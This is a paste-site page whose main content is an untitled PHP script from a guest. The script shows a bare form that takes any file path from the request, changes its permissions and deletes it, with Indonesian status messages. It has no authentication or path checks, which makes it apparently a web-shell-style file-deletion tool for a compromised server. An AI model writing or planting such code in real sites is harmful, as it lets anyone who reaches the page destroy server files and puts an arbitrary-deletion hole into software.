Toggle navigation
Home
Latest pastes
FAQ
Random
BitBin is shutting down!
Register
Login
Untitled
SUBMITTED BY:
Guest
DATE:
Oct. 16, 2024, 11:10 a.m.
FORMAT:
Text only
SIZE:
428 Bytes
Raw
Download
Tweet
HITS:
60
Go to comments
Report
<?php
if (isset($_POST['delete'])) {
if (file_exists($_POST['path'])) {
chmod($_POST['path'], 0644);
if (unlink($_POST['path'])) {
echo 'Berhasil';
} else {
echo 'gagal';
}
} else {
echo 'file tidak ada';
}
}
?>
<form action="" method="post">
<input type="text" name="path">
<button type="submit" name="delete">Delete</button>
</form>
Please enable JavaScript to view the
comments powered by Disqus.
comments powered by
Disqus